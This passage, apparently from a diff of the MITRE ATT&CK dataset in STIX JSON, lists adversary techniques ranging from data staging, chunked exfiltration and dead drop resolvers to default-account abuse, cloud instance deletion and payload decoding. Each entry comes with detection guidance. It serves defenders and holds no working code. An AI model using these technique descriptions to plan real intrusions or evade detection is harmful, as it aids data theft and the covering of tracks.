location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", + "x_mitre_contributors": [ + "Praetorian", + "Shane Tully, @securitygypsy" + ], + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1074", + "external_id": "T1074", + "source_name": "mitre-attack" + }, + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "source_name": "PWC Cloud Hopper April 2017" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data Transfer Size Limits", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1030", + "external_id": "T1030", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-14T19:47:46.912Z", + "created": "2017-05-31T21:30:34.523Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2021-03-08T10:33:01.374Z", + "name": "Data from Cloud Storage Object", + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Access" + ], + "x_mitre_version": "1.1", + "created": "2019-08-30T18:07:27.741Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Netskope", + "Praetorian" + ], + "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1530", + "external_id": "T1530", + "source_name": "mitre-attack" + }, + { + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/", + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", + "source_name": "Amazon S3 Security, 2019" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide", + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure Storage Security, 2019" + }, + { + "url": "https://cloud.google.com/storage/docs/best-practices", + "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.", + "source_name": "Google Cloud Storage Best Practices, 2019" + }, + { + "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia", + "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.", + "source_name": "Trend Micro S3 Exposed PII, 2017" + }, + { + "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/", + "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.", + "source_name": "Wired Magecart S3 Buckets, 2019" + }, + { + "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/", + "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.", + "source_name": "HIPAA Journal S3 Breach, 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data from Configuration Repository", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T02:26:44.566Z", + "created": "2020-10-19T23:46:13.931Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", + "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1602", + "external_id": "T1602", + "source_name": "mitre-attack" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "source_name": "US-CERT-TA18-106A" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A", + "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.", + "source_name": "US-CERT TA17-156A SNMP Abuse 2017" + }, + { + "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3", + "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.", + "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data from Information Repositories", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_version": "3.2", + "modified": "2021-10-16T01:35:43.938Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "SaaS", + "Office 365", + "Google Workspace", + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", + "x_mitre_contributors": [ + "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)", + "Regina Elwell", + "Isif Ibrahima", + "Praetorian", + "Milos Stojadinovic" + ], + "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1213", + "external_id": "T1213", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events", + "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.", + "source_name": "Sharepoint Sharing Events" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data from Local System", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1005", + "external_id": "T1005", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Script: Script Execution", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-15T22:16:42.734Z", + "x_mitre_system_requirements": [ + "Privileges to access certain files and directories" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created": "2017-05-31T21:30:20.537Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data from Network Shared Drive", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1039", + "external_id": "T1039", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/639.html", + "external_id": "CAPEC-639", + "source_name": "capec" + } + ], + "x_mitre_data_sources": [ + "File: File Access", + "Network Share: Network Share Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-24T15:42:44.026Z", + "x_mitre_system_requirements": [ + "Privileges to access network shared drive" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created": "2017-05-31T21:30:41.022Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Data from Removable Media", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1025", + "external_id": "T1025", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T22:17:35.218Z", + "x_mitre_system_requirements": [ + "Privileges to access removable media drive and files" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created": "2017-05-31T21:30:31.584Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T23:12:30.499Z", + "name": "Dead Drop Resolver", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-14T22:24:21.841Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", + "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1102/001", + "external_id": "T1102.001", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Defacement", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-08T10:33:01.150Z", + "created": "2019-04-08T17:51:41.390Z", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1491", + "external_id": "T1491", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Default Accounts", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-05T20:14:26.846Z", + "created": "2020-03-13T20:15:31.974Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", + "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1078/001", + "external_id": "T1078.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/70.html", + "external_id": "CAPEC-70", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", + "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.", + "source_name": "Microsoft Local Accounts Feb 2019" + }, + { + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", + "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.", + "source_name": "AWS Root User" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", + "source_name": "Threat Matrix for Kubernetes" + }, + { + "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh", + "description": "Metasploit. (n.d.). Retrieved April 12, 2019.", + "source_name": "Metasploit SSH Module" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Delete Cloud Instance", + "x_mitre_data_sources": [ + "Instance: Instance Deletion" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:02.083Z", + "created": "2020-06-16T17:23:06.508Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", + "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1578/003", + "external_id": "T1578.003", + "source_name": "mitre-attack" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + }, + { + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", + "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", + "source_name": "AWS CloudTrail Search" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", + "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.", + "source_name": "Azure Activity Logs" + }, + { + "url": "https://cloud.google.com/logging/docs/audit#admin-activity", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "source_name": "Cloud Audit Logs" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Deobfuscate/Decode Files or Information", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Modification", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "modified": "2020-07-09T14:42:23.122Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "Signature-based detection", + "Network intrusion detection system" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Red Canary" + ], + "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", + "created_by_ref": 